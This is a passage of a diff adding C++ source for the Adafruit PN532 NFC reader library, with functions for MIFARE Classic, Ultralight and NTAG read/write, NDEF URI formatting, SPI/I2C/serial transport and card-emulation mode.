PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) { + if ((pn532_packetbuffer[7] & 0x3f) != 0) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Status code indicates an error")); +#endif + return false; + } + + length -= 3; + + if (length > *responseLength) { + length = *responseLength; // silent truncation... + } + + for (i = 0; i < length; ++i) { + response[i] = pn532_packetbuffer[8 + i]; + } + *responseLength = length; + + return true; + } else { + PN532DEBUGPRINT.print(F("Don't know how to handle this command: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX); + return false; + } + } else { + PN532DEBUGPRINT.println(F("Preamble missing")); + return false; + } +} + +/**************************************************************************/ +/*! + @brief 'InLists' a passive target. PN532 acting as reader/initiator, + peer acting as card/responder. + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inListPassiveTarget() { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; + pn532_packetbuffer[2] = 0; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("About to inList passive target")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send inlist message")); +#endif + return false; + } + + if (!waitready(30000)) { + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) { + if (pn532_packetbuffer[7] != 1) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted")); +#endif + PN532DEBUGPRINT.println(F("Number of tags inlisted:")); + PN532DEBUGPRINT.println(pn532_packetbuffer[7]); + return false; + } + + _inListedTag = pn532_packetbuffer[8]; + PN532DEBUGPRINT.print(F("Tag number: ")); + PN532DEBUGPRINT.println(_inListedTag); + + return true; + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host")); +#endif + return false; + } + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Preamble missing")); +#endif + return false; + } + + return true; +} + +/***** Mifare Classic Functions ******/ + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the first block + in the sector (block 0 relative to the current sector) + @param uiBlock Block number to test. + @return true if first block, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock) % 4 == 0); + else + return ((uiBlock) % 16 == 0); +} + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the sector + trailer. + @param uiBlock Block number to test. + @return true if sector trailer, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsTrailerBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock + 1) % 4 == 0); + else + return ((uiBlock + 1) % 16 == 0); +} + +/**************************************************************************/ +/*! + Tries to authenticate a block of memory on a MIFARE card using the + INDATAEXCHANGE command. See section 7.3.8 of the PN532 User Manual + for more information on sending MIFARE and other commands. + + @param uid Pointer to a byte array containing the card UID + @param uidLen The length (in bytes) of the card's UID (Should + be 4 for MIFARE Classic) + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param keyNumber Which key type to use during authentication + (0 = MIFARE_CMD_AUTH_A, 1 = MIFARE_CMD_AUTH_B) + @param keyData Pointer to a byte array containing the 6 byte + key value + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid, + uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, + uint8_t *keyData) { + // uint8_t len; + uint8_t i; + + // Hang on to the key and uid data + memcpy(_key, keyData, 6); + memcpy(_uid, uid, uidLen); + _uidLen = uidLen; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to authenticate card ")); + Adafruit_PN532::PrintHex(_uid, _uidLen); + PN532DEBUGPRINT.print(F("Using authentication KEY ")); + PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A'); + PN532DEBUGPRINT.print(F(": ")); + Adafruit_PN532::PrintHex(_key, 6); +#endif + + // Prepare the authentication command // + pn532_packetbuffer[0] = + PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ + pn532_packetbuffer[1] = 1; /* Max card numbers */ + pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; + pn532_packetbuffer[3] = + blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ + memcpy(pn532_packetbuffer + 4, _key, 6); + for (i = 0; i < _uidLen; i++) { + pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */ + } + + if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen)) + return 0; + + // Read the response packet + readdata(pn532_packetbuffer, 12); + + // check if the response is valid and we are authenticated??? + // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00 + // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00 + // is not good + if (pn532_packetbuffer[7] != 0x00) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Authentification failed: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12); +#endif + return 0; + } + + return 1; +} + +/**************************************************************************/ +/*! + Tries to read an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data Pointer to the byte array that will hold the + retrieved data (if any) + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for read command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] != 0x00) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + + /* Copy the 16 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + memcpy(data, pn532_packetbuffer + 8, 16); + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Block ")); + PN532DEBUGPRINT.println(blockNumber); + Adafruit_PN532::PrintHexChar(data, 16); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data The byte array that contains the data to write. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 20)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + return 1; +} + +/**************************************************************************/ +/*! + Formats a Mifare Classic card to store NDEF Records + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) { + uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77, + 0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A + // for the MAD sector in NDEF records (sector 0) + + // Write block 1 and 2 to the card + if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2))) + return 0; + // Write key A and access rights card + if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record to the specified sector (1..15) + + Note that this function assumes that the Mifare Classic card is + already formatted to work as an "NFC Forum Tag" and uses a MAD1 + file system. You can use the NXP TagWriter app on Android to + properly format cards for this. + + @param sectorNumber The sector that the URI record should be written + to (can be 1..15 for a 1K card) + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (max 38 characters). + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, + const char *url) { + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure we're within a 1K limit for the sector number + if ((sectorNumber < 1) || (sectorNumber > 15)) + return 0; + + // Make sure the URI payload is between 1 and 38 chars + if ((len < 1) || (len > 38)) + return 0; + + // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A + // in NDEF records + + // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message) + uint8_t sectorbuffer1[16] = {0x00, + 0x00, + 0x03, + (uint8_t)(len + 5), + 0xD1, + 0x01, + (uint8_t)(len + 1), + 0x55, + uriIdentifier, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00}; + uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07, + 0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + if (len <= 6) { + // Unlikely we'll get a url this short, but why not ... + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer1[len + 9] = 0xFE; + } else if (len == 7) { + // 0xFE needs to be wrapped around to next block + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer2[0] = 0xFE; + } else if ((len > 7) && (len <= 22)) { + // Url fits in two blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer2[len - 7] = 0xFE; + } else if (len == 23) { + // 0xFE needs to be wrapped around to final block + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer3[0] = 0xFE; + } else { + // Url fits in three blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, 16); + memcpy(sectorbuffer3, url + 23, len - 24); + sectorbuffer3[len - 22] = 0xFE; + } + + // Now write all three blocks back to the card + if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/***** Mifare Ultralight Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page, + uint8_t *buffer) { + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page, + uint8_t *data) { + + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/***** NTAG2xx Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if (page >= 231) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if ((page < 4) || (page > 225)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record starting at the specified page (4..nn) + + Note that this function assumes that the NTAG2xx card is + already formatted to work as an "NFC Forum Tag". + + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (null-terminated string). + @param dataLen The size of the data area for overflow checks. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen) { + uint8_t pageBuffer[4] = {0, 0, 0, 0}; + + // Remove NDEF record overhead from the URI data (pageHeader below) + uint8_t wrapperSize = 12; + + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure the URI payload will fit in dataLen (include 0xFE trailer) + if ((len < 1) || (len + 1 > (dataLen - wrapperSize))) + return 0; + + // Setup the record header + // See NFCForum-TS-Type-2-Tag_1.1.pdf for details + uint8_t pageHeader[12] = { + /* NDEF Lock Control TLV (must be first and always present) */ + 0x01, /* Tag Field (0x01 = Lock Control TLV) */ + 0x03, /* Payload Length (always 3) */ + 0xA0, /* The position inside the tag of the lock bytes (upper 4 = page + address, lower 4 = byte offset) */ + 0x10, /* Size in bits of the lock area */ + 0x44, /* Size in bytes of a page and the number of bytes each lock bit can + lock (4 bit + 4 bits) */ + /* NDEF Message TLV - URI Record */ + 0x03, /* Tag Field (0x03 = NDEF Message) */ + (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */ + 0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */ + 0x01, /* Type Length for the record type indicator */ + (uint8_t)(len + 1), /* Payload len */ + 0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */ + uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */ + }; + + // Write 12 byte header (three pages of data starting at page 4) + memcpy(pageBuffer, pageHeader, 4); + if (!(ntag2xx_WritePage(4, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 4, 4); + if (!(ntag2xx_WritePage(5, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 8, 4); + if (!(ntag2xx_WritePage(6, pageBuffer))) + return 0; + + // Write URI (starting at page 7) + uint8_t currentPage = 7; + char *urlcopy = url; + while (len) { + if (len < 4) { + memset(pageBuffer, 0, 4); + memcpy(pageBuffer, urlcopy, len); + pageBuffer[len] = 0xFE; // NDEF record footer + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else if (len == 4) { + memcpy(pageBuffer, urlcopy, len); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + memset(pageBuffer, 0, 4); + pageBuffer[0] = 0xFE; // NDEF record footer + currentPage++; + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else { + // More than one page of data left + memcpy(pageBuffer, urlcopy, 4); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + currentPage++; + urlcopy += 4; + len -= 4; + } + } + + // Seems that everything was OK (?!) + return 1; +} + +/************** high level communication functions (handles both I2C and SPI) */ + +/**************************************************************************/ +/*! + @brief Tries to read the SPI or I2C ACK signal +*/ +/**************************************************************************/ +bool Adafruit_PN532::readack() { + uint8_t ackbuff[6]; + + if (spi_dev) { + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, ackbuff, 6); + } else if (i2c_dev || ser_dev) { + readdata(ackbuff, 6); + } + + return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6)); +} + +/**************************************************************************/ +/*! + @brief Return true if the PN532 is ready with a response. +*/ +/**************************************************************************/ +bool Adafruit_PN532::isready() { + if (spi_dev) { + // SPI ready check via Status Request + uint8_t cmd = PN532_SPI_STATREAD; + uint8_t reply; + spi_dev->write_then_read(&cmd, 1, &reply, 1); + return reply == PN532_SPI_READY; + } else if (i2c_dev) { + // I2C ready check via reading RDY byte + uint8_t rdy[1]; + i2c_dev->read(rdy, 1); + return rdy[0] == PN532_I2C_READY; + } else if (ser_dev) { + // Serial ready check based on non-zero read buffer + return (ser_dev->available() != 0); + } else if (_irq != -1) { + uint8_t x = digitalRead(_irq); + return x == 0; + } + return false; +} + +/**************************************************************************/ +/*! + @brief Waits until the PN532 is ready. + + @param timeout Timeout before giving up +*/ +/**************************************************************************/ +bool Adafruit_PN532::waitready(uint16_t timeout) { + uint16_t timer = 0; + while (!isready()) { + if (timeout != 0) { + timer += 10; + if (timer > timeout) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println("TIMEOUT!"); +#endif + return false; + } + } + delay(10); + } + return true; +} + +/**************************************************************************/ +/*! + @brief Reads n bytes of data from the PN532 via SPI or I2C. + + @param buff Pointer to the buffer where data will be written + @param n Number of bytes to be read +*/ +/**************************************************************************/ +void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) { + if (spi_dev) { + // SPI read + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, buff, n); + } else if (i2c_dev) { + // I2C read + uint8_t rbuff[n + 1]; // +1 for leading RDY byte + i2c_dev->read(rbuff, n + 1); + for (uint8_t i = 0; i < n; i++) { + buff[i] = rbuff[i + 1]; + } + } else if (ser_dev) { + // Serial read + ser_dev->readBytes(buff, n); + } +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Reading: ")); + for (uint8_t i = 0; i < n; i++) { + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(buff[i], HEX); + } + PN532DEBUGPRINT.println(); +#endif +} + +/**************************************************************************/ +/*! + @brief set the PN532 as iso14443a Target behaving as a SmartCard + @return true on success, false otherwise. + @note Author: Salvador Mendoza (salmg.net) new functions: + -AsTarget + -getDataTarget + -setDataTarget +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::AsTarget() { + pn532_packetbuffer[0] = 0x8C; + uint8_t target[] = { + 0x8C, // INIT AS TARGET + 0x00, // MODE -> BITFIELD + 0x08, 0x00, // SENS_RES - MIFARE PARAMS + 0xdc, 0x44, 0x20, // NFCID1T + 0x60, // SEL_RES + 0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES + 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0, + 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD + 0xff, 0xff, // SYSTEM CODE + 0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, + 0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES + 0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f, + 0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES + }; + if (!sendCommandCheckAck(target, sizeof(target))) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} +/**************************************************************************/ +/*! + @brief Retrieve response from the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) { + uint8_t length; + pn532_packetbuffer[0] = 0x86; + if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) { + PN532DEBUGPRINT.println(F("Error en ack")); + return false; + } + + // read data packet + readdata(pn532_packetbuffer, 64); + length = pn532_packetbuffer[3] - 3; + + // if (length > *responseLength) {// Bug, should avoid it in the reading + // target data + // length = *responseLength; // silent truncation... + //} + + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + *cmdlen = length; + return true; +} + +/**************************************************************************/ +/*! + @brief Set data in PN532 in the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) { + uint8_t length; + // cmd1[0] = 0x8E; Must! + + if (!sendCommandCheckAck(cmd, cmdlen)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + length = pn532_packetbuffer[3] - 3; + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + // cmdl = 0 + cmdlen = length; + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + @brief Writes a command to the PN532, automatically inserting the + preamble and required frame details (checksum, len, etc.) + + @param cmd Pointer to the command buffer + @param cmdlen Command length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::writecommand(uint8_t *cmd, uint8_t cmdlen) { + if (spi_dev) { 